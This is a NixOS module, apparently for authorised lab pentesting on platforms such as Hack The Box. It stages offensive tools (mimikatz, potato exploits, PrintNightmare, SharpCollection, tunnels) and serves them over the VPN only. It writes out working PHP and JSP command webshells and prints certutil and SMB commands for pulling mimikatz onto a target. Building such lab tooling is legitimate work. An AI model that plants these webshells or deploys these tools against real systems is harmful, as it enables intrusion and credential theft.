payloads.nix (20989B)
1 # modules/features/pentest/payloads.nix — the arsenal tree that ~/pentesting 2 # points at, plus one command to serve it. 3 # 4 # The tree is laid out the way paths.nix names it, so $privesc, $potatoes, 5 # $ligolo, $ad … each resolve to a real directory: 6 # 7 # privesc/{windows,windows/potatoes,linux} winPEAS, the potato family, pspy… 8 # creds/{,mimikatz} mimikatz (every build), nanodump… 9 # ad/{,SharpHound,KrbRelayEx,kerbrute} SharpHound CE, Rubeus, Certipy… 10 # sharpcollection/ the full SharpCollection 11 # pivoting/{ligolo-ng,chisel,socat} tunnels, every OS/arch 12 # recon/{nmap,fscan} scanners to run from a foothold 13 # shells/ webshells/ scripts/ exploits/ 14 # 15 # payload-serve [port] HTTP, bound to the VPN interface only 16 # payload-serve --smb impacket smbserver, same binding 17 # payload-serve --list print the tree 18 # 19 # Provenance: Go tools nixpkgs carries (ligolo-ng, chisel, fscan, pspy) are 20 # cross-compiled FROM SOURCE here for every target arch via GOOS/GOARCH — better 21 # than any download. Everything else is a release asset pinned by hash in 22 # _pkgs/assets.nix (the big table) or _pkgs/default.nix (mimikatz, SharpCollection, 23 # the scripts). So: Go from source, the rest pinned, nothing fetched at runtime. 24 { lib, self, ... }: 25 let 26 assets = import ./_pkgs/assets.nix; 27 28 mkTree = 29 { pkgs, windowsArches }: 30 let 31 p = import ./_pkgs/default.nix { inherit lib pkgs; }; 32 33 # Go cross-compile: nixpkgs has no mingw path for these, but Go does not 34 # need one. CGO_ENABLED=0 makes the linux builds static, so they run on a 35 # target that does not share this machine's glibc. 36 goCross = pkg: goos: goarch: pkg.overrideAttrs (o: { 37 env = (o.env or { }) // { GOOS = goos; GOARCH = goarch; CGO_ENABLED = "0"; }; 38 doCheck = false; 39 doInstallCheck = false; 40 nativeInstallCheckInputs = [ ]; 41 postInstall = ""; # upstream rename loops assume a native flat bin/ 42 }); 43 44 # One place to list every Go tool and the arches it ships for, so the 45 # install loop below is a table too. `src` is the name Go actually emits 46 # in bin/ (lig-ng builds `agent` and `proxy`; we want the agent); `bin` 47 # is the name it lands under here. A cross build lands in 48 # bin/<goos>_<goarch>/, a native one in bin/ — the loop searches both. 49 goTargets = { 50 ligolo-ng = { 51 src = "agent"; bin = "ligolo-agent"; 52 arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; 53 windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; }; 54 }; 55 chisel = { 56 src = "chisel"; bin = "chisel"; 57 arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; 58 windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; }; 59 }; 60 fscan = { 61 src = "fscan"; bin = "fscan"; 62 arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; 63 windows-amd64 = ["windows" "amd64"]; }; 64 }; 65 pspy = { 66 src = "pspy"; bin = "pspy"; 67 arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; }; 68 }; 69 }; 70 71 # dest -> which pivoting/recon/privesc dir each Go tool lands in. 72 goDest = { 73 ligolo-ng = "pivoting/ligolo-ng"; 74 chisel = "pivoting/chisel"; 75 fscan = "recon/fscan"; 76 pspy = "privesc/linux"; 77 }; 78 79 installGo = name: spec: 80 lib.concatStrings (lib.mapAttrsToList 81 (slot: goa: 82 let 83 drv = goCross pkgs.${name} (builtins.elemAt goa 0) (builtins.elemAt goa 1); 84 win = builtins.elemAt goa 0 == "windows"; 85 out = "$out/${goDest.${name}}/${slot}/${spec.bin}${lib.optionalString win ".exe"}"; 86 in '' 87 mkdir -p "$(dirname ${out})" 88 # Cross -> bin/<goos>_<goarch>/<src>, native -> bin/<src>; and the 89 # windows build adds .exe. Match the EXACT source name so lig-ng's 90 # `proxy` is never grabbed instead of `agent`, and FAIL loudly if 91 # an upstream rename leaves nothing — a missing agent is a 2am find. 92 f=$(find -L ${drv}/bin -type f \( -name ${spec.src} -o -name ${spec.src}.exe \) | head -1) 93 [ -n "$f" ] || { echo "payloads: ${name} ${slot} produced no ${spec.src} binary" >&2; exit 1; } 94 install -m0755 "$f" ${out} 95 '') 96 spec.arches); 97 98 # One asset -> the shell that stages it at its dest. 99 exeLike = d: lib.any (s: lib.hasSuffix s d) [ ".exe" ".ps1" ".dll" ".json" ".config" ".txt" ]; 100 installAsset = a: 101 let 102 src = pkgs.fetchurl { inherit (a) url hash; }; 103 dst = "$out/${a.dest}"; 104 kind = a.unpack or "file"; 105 in 106 if kind == "file" then '' 107 install -D -m${if exeLike a.dest then "0644" else "0755"} ${src} ${dst} 108 '' 109 else if kind == "zip" then '' 110 mkdir -p ${dst} 111 ${if a ? only 112 # -j flattens the named members into dst (RunasCs.exe, a potato…). 113 then "${pkgs.unzip}/bin/unzip -j -o ${src} ${lib.escapeShellArgs a.only} -d ${dst} >/dev/null" 114 # No `only`: extract whole, keeping structure (SharpHound/, nmap-7.92/). 115 else "${pkgs.unzip}/bin/unzip -o ${src} -d ${dst} >/dev/null"} 116 '' 117 else if kind == "tar" then '' 118 mkdir -p ${dst} 119 tar -xzf ${src} -C ${dst} 120 '' 121 else throw "payloads: unknown unpack kind '${kind}' for ${a.dest}"; 122 123 wantX86 = lib.elem "x86" windowsArches; 124 mimiVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name; 125 in 126 pkgs.runCommand "pentest-payloads" 127 { 128 meta.description = "Staged offensive payloads for authorised lab use"; 129 # Everything here runs on another machine; a rewritten shebang pointing 130 # into this machine's store would break it there. 131 dontPatchShebangs = true; 132 } 133 '' 134 set -euo pipefail 135 mkdir -p $out 136 137 ##### Release assets (the _pkgs/assets.nix table) ###################### 138 ${lib.concatMapStrings installAsset assets} 139 140 ##### Go, cross-compiled from source ################################### 141 ${lib.concatStrings (lib.mapAttrsToList installGo goTargets)} 142 # ligolo/chisel/socat convenience: a top-level README of which slot is which. 143 printf '%s\n' \ 144 'ligolo-ng/chisel/fscan/socat: one dir per target, named <os>-<arch>.' \ 145 'linux-amd64 is the usual HTB Linux box; windows-amd64 the usual Windows one.' \ 146 > $out/pivoting/README.txt 147 148 ##### Credentials ##################################################### 149 # mimikatz, every build and arch, as distinct FILES (two versions 150 # cannot both be mimikatz.exe — which is why payloads are files). 151 mkdir -p $out/creds/mimikatz/x64 $out/creds/mimikatz/Win32 152 install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/x64/mimikatz.exe \ 153 $out/creds/mimikatz/x64/mimikatz-${mimiVer}.exe 154 ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/x64/mimikatz.exe 155 install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \ 156 $out/creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe 157 install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimikatz.exe \ 158 $out/creds/mimikatz/Win32/mimikatz-${mimiVer}.exe 159 ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/Win32/mimikatz.exe 160 install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \ 161 $out/creds/mimikatz/Win32/mimikatz-2.2.0-20210810.exe 162 install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimilove.exe \ 163 $out/creds/mimikatz/ 2>/dev/null || true 164 165 ##### Windows privesc: winPEAS beside the potatoes/ from assets ######## 166 mkdir -p $out/privesc/windows 167 install -m0644 ${p.peass}/windows/winPEASx64.exe $out/privesc/windows/ 168 install -m0644 ${p.peass}/windows/winPEASany.exe $out/privesc/windows/ 169 ${lib.optionalString wantX86 170 "install -m0644 ${p.peass}/windows/winPEASx86.exe $out/privesc/windows/"} 171 172 ##### AD: SharpCollection 4.7 x64 beside the CE tools from assets ###### 173 mkdir -p $out/ad 174 cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/ad/ 175 chmod -R u+w $out/ad 176 # SharpCollection's SharpHound is the LEGACY collector; the assets table 177 # staged the CE one at ad/SharpHound/. Drop the legacy exe so there is 178 # no ambiguous ad/SharpHound.exe next to the CE ad/SharpHound/ dir. 179 rm -f $out/ad/SharpHound.exe 180 181 # The whole SharpCollection, every framework, for when 4.7 x64 will not run. 182 mkdir -p $out/sharpcollection 183 cp -r ${p.sharpcollection}/. $out/sharpcollection/ 184 chmod -R u+w $out/sharpcollection 185 186 ##### Linux privesc #################################################### 187 mkdir -p $out/privesc/linux 188 install -m0755 ${p.peass}/linux/linpeas.sh $out/privesc/linux/ 189 install -m0755 ${p.lse}/share/lse/lse.sh $out/privesc/linux/ 190 191 ##### Scripts ########################################################## 192 mkdir -p $out/scripts/{ad,printer,privesc} 193 cp -r ${pkgs.powersploit}/share/windows/powersploit/. $out/scripts/ad/ 194 chmod -R u+w $out/scripts/ad 195 # PowerView.ps1 and PowerUp.ps1 live in Recon/ and Privesc/; hoist the 196 # two headline scripts to the top where the cheat card documents them, 197 # and FAIL if an upstream rename moved them. 198 for s in PowerView PowerUp; do 199 f=$(find -L $out/scripts/ad -type f -name "$s.ps1" | head -1) 200 [ -n "$f" ] || { echo "payloads: $s.ps1 missing from powersploit" >&2; exit 1; } 201 cp "$f" $out/scripts/ad/"$s.ps1" 202 done 203 cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang 204 chmod -R u+w $out/scripts/ad/nishang 205 install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/ 206 install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/ 207 install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/ 208 install -m0755 ${p.lse}/share/lse/lse.sh $out/scripts/privesc/ 209 install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/ 210 211 ##### Webshells and an exploits landing dir ############################ 212 mkdir -p $out/webshells $out/exploits 213 # A couple of always-useful single-file shells; drop your own in 214 # ~/pentesting/local, which is never overwritten. 215 cat > $out/webshells/cmd.php <<'PHP' 216 <?php if(isset($_REQUEST['c'])){system($_REQUEST['c']." 2>&1");} ?> 217 PHP 218 cat > $out/webshells/cmd.jsp <<'JSP' 219 <%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("c")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);} } %> 220 JSP 221 printf 'Stage public exploits here; searchsploit -m copies into the cwd.\n' > $out/exploits/README.txt 222 223 # A map of the tree, so `payload-serve --list` is readable. 224 ${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true 225 ''; 226 227 mkServe = 228 { pkgs, tree }: 229 pkgs.writeShellScriptBin "payload-serve" '' 230 set -uo pipefail 231 PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH 232 TREE=${tree} 233 234 # Bind to the tunnel, never to everything. Serving the arsenal on a 235 # café network because the VPN was down is a real way to hand your 236 # toolkit to strangers, so this fails closed. 237 tun_addr() { 238 local i a 239 for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do 240 a=$(ip -4 -br addr show dev "$i" 2>/dev/null | awk '{print $3}' | cut -d/ -f1) 241 [ -n "''${a:-}" ] && { printf '%s' "$a"; return 0; } 242 done 243 return 1 244 } 245 246 usage() { echo "usage: payload-serve [port] | --smb | --list"; } 247 248 case "''${1:-}" in 249 --list) exec cat $TREE/INVENTORY.txt ;; 250 -h|--help) usage; exit 0 ;; 251 esac 252 253 if ! addr=$(tun_addr); then 254 echo "payload-serve: no VPN interface has an address — refusing to start." >&2 255 echo "payload-serve: it would otherwise bind every interface and expose" >&2 256 echo " $TREE to the local network." >&2 257 echo "payload-serve: bring the tunnel up first: htbvpn up <profile>" >&2 258 exit 2 259 fi 260 261 case "''${1:-}" in 262 --smb) 263 echo "payload-serve: SMB share 'share' on $addr ($TREE)" 264 echo " target: copy \\\\$addr\\share\\creds\\mimikatz\\x64\\mimikatz.exe ." 265 exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \ 266 -ip "$addr" -smb2support share "$TREE" ;; 267 ""|[0-9]*) 268 port="''${1:-8000}" 269 if [ "$port" -lt 1024 ] && [ "$(id -u)" != 0 ]; then 270 echo "payload-serve: port $port needs root (ports below 1024)." >&2 271 echo "payload-serve: run 'sudo payload-serve $port', or use the default 8000." >&2 272 exit 2 273 fi 274 echo "payload-serve: http://$addr:$port/ ($TREE)" 275 echo " target: certutil -urlcache -f http://$addr:$port/creds/mimikatz/x64/mimikatz.exe mimikatz.exe" 276 exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;; 277 *) usage >&2; exit 2 ;; 278 esac 279 ''; 280 in 281 { 282 flake.nixosModules.pentest-payloads = 283 { config, pkgs, lib, ... }: 284 let 285 cfg = config.daemon.pentest; 286 on = cfg.enable && cfg.payloads.enable; 287 tree = mkTree { inherit pkgs; windowsArches = cfg.payloads.windowsArches; }; 288 payload-serve = mkServe { inherit pkgs tree; }; 289 in 290 { 291 options.daemon.pentest.payloads = { 292 enable = lib.mkEnableOption "the staged payload tree and payload-serve" // { 293 default = cfg.enable; 294 }; 295 # Read by paths.nix to link the tree into ~/pentesting. Internal: it is 296 # the derivation above, not something to set by hand. 297 tree = lib.mkOption { 298 type = lib.types.package; 299 internal = true; 300 readOnly = true; 301 default = tree; 302 description = "The built arsenal tree (paths.nix links it into ~/pentesting)."; 303 }; 304 wordlistsTree = lib.mkOption { 305 type = lib.types.path; 306 internal = true; 307 default = "${pkgs.wordlists}/share/wordlists"; 308 description = "The wordlists tree linked at ~/pentesting/wordlists."; 309 }; 310 }; 311 312 config = lib.mkIf on { 313 environment.systemPackages = [ payload-serve ]; 314 # $PAYLOADS stays, pointing at the arsenal root under ~/pentesting 315 # (paths.nix sets the per-category variables); keep it as the store 316 # tree here so a shell that predates the ~/pentesting links still works. 317 environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}"; 318 }; 319 }; 320 321 perSystem = 322 { pkgs, ... }: 323 { 324 checks.pentest-payloads = 325 let 326 tree = mkTree { inherit pkgs; windowsArches = [ "amd64" "x86" ]; }; 327 serve = [ (mkServe { inherit pkgs tree; }) ]; 328 in 329 pkgs.runCommand "pentest-payloads-check" 330 { nativeBuildInputs = [ pkgs.file ] ++ serve; } 331 '' 332 set -euo pipefail 333 T=${tree} 334 335 # 1. Structure: every path the cheat card and paths.nix promise. 336 for f in \ 337 creds/mimikatz/x64/mimikatz.exe \ 338 creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe \ 339 creds/mimikatz/Win32/mimikatz.exe \ 340 creds/nanodump.x64.exe \ 341 creds/PPLBlade.exe \ 342 privesc/windows/winPEASx64.exe \ 343 privesc/windows/FullPowers.exe \ 344 privesc/windows/PrivescCheck.ps1 \ 345 privesc/windows/potatoes/GodPotato-NET4.exe \ 346 privesc/windows/potatoes/SigmaPotato.exe \ 347 privesc/windows/potatoes/PrintSpoofer64.exe \ 348 privesc/windows/potatoes/JuicyPotato.exe \ 349 privesc/windows/potatoes/RoguePotato.exe \ 350 privesc/windows/potatoes/LocalPotato.exe \ 351 privesc/windows/potatoes/CoercedPotato_x64.exe \ 352 privesc/linux/linpeas.sh \ 353 privesc/linux/lse.sh \ 354 privesc/linux/linux-amd64/pspy \ 355 ad/Rubeus.exe \ 356 ad/Seatbelt.exe \ 357 ad/SharpHound/SharpHound.exe \ 358 ad/Certipy.exe \ 359 ad/bloodyAD.exe \ 360 ad/rusthound-ce.exe \ 361 ad/SharpSCCM.exe \ 362 ad/Inveigh.exe \ 363 ad/KrbRelayEx/KrbRelayEx.exe \ 364 ad/KrbRelayEx/KrbRelayEx.dll \ 365 ad/kerbrute/kerbrute-linux-amd64 \ 366 ad/kerbrute/kerbrute-windows-amd64.exe \ 367 pivoting/ligolo-ng/linux-amd64/ligolo-agent \ 368 pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe \ 369 pivoting/ligolo-ng/linux-arm64/ligolo-agent \ 370 pivoting/ligolo-ng/darwin-arm64/ligolo-agent \ 371 pivoting/chisel/linux-amd64/chisel \ 372 pivoting/chisel/windows-amd64/chisel.exe \ 373 pivoting/socat/socat-linux-amd64 \ 374 pivoting/socat/socat-linux-arm64 \ 375 pivoting/plink-x64.exe \ 376 recon/fscan/linux-amd64/fscan \ 377 recon/fscan/windows-amd64/fscan.exe \ 378 recon/nmap/linux-amd64/nmap \ 379 recon/nmap/windows/nmap-7.92/nmap.exe \ 380 shells/RunasCs.exe \ 381 shells/nc64.exe \ 382 scripts/ad/PowerView.ps1 \ 383 scripts/ad/PowerUp.ps1 \ 384 scripts/ad/nishang \ 385 scripts/printer/printerbug.py \ 386 scripts/printer/CVE-2021-1675.py \ 387 scripts/privesc/EfsPotato.cs \ 388 webshells/cmd.php \ 389 INVENTORY.txt \ 390 ; do 391 [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; } 392 done 393 394 # The legacy SharpHound.exe must NOT sit beside the CE dir. 395 [ ! -e "$T/ad/SharpHound.exe" ] || { echo "payloads: stale legacy ad/SharpHound.exe present" >&2; exit 1; } 396 397 # 2. The binaries are really for the architecture they claim, and 398 # the linux ones are static (they run on someone else's box). 399 for f in pivoting/chisel/linux-amd64/chisel \ 400 pivoting/ligolo-ng/linux-amd64/ligolo-agent \ 401 recon/fscan/linux-amd64/fscan \ 402 privesc/linux/linux-amd64/pspy \ 403 pivoting/socat/socat-linux-amd64; do 404 got=$(file -bL "$T/$f") 405 case "$got" in 406 *"statically linked"*|*"static-pie linked"*) ;; 407 *) echo "payloads: $f is '$got' — must be statically linked" >&2; exit 1 ;; 408 esac 409 done 410 for f in privesc/linux/linpeas.sh privesc/linux/lse.sh \ 411 scripts/printer/printerbug.py; do 412 case "$(head -1 "$T/$f")" in 413 */nix/store/*) echo "payloads: $f has a store shebang" >&2; exit 1 ;; 414 esac 415 done 416 417 expect() { local got; got=$(file -bL "$T/$1"); case "$got" in 418 *"$2"*) ;; *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; esac; } 419 expect creds/mimikatz/x64/mimikatz.exe 'PE32+' 420 expect creds/mimikatz/Win32/mimikatz.exe 'PE32 ' 421 expect pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe 'PE32+' 422 expect pivoting/ligolo-ng/linux-arm64/ligolo-agent 'ARM aarch64' 423 expect recon/fscan/windows-amd64/fscan.exe 'PE32+' 424 expect recon/nmap/linux-amd64/nmap 'ELF' 425 426 # 3. With no tun device (there is none in this sandbox) payload-serve 427 # must refuse, and say how to fix it. 428 if serve_out=$(payload-serve 8000 2>&1); then 429 echo "payloads: payload-serve started with no VPN up" >&2; exit 1 430 fi 431 printf '%s' "$serve_out" | grep -q 'refusing to start' \ 432 || { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; } 433 printf '%s' "$serve_out" | grep -q 'htbvpn up' \ 434 || { echo "payloads: refusal did not name htbvpn: $serve_out" >&2; exit 1; } 435 436 echo "pentest-payloads: tree, architectures and fail-closed serve all ok" > $out 437 ''; 438 }; 439 }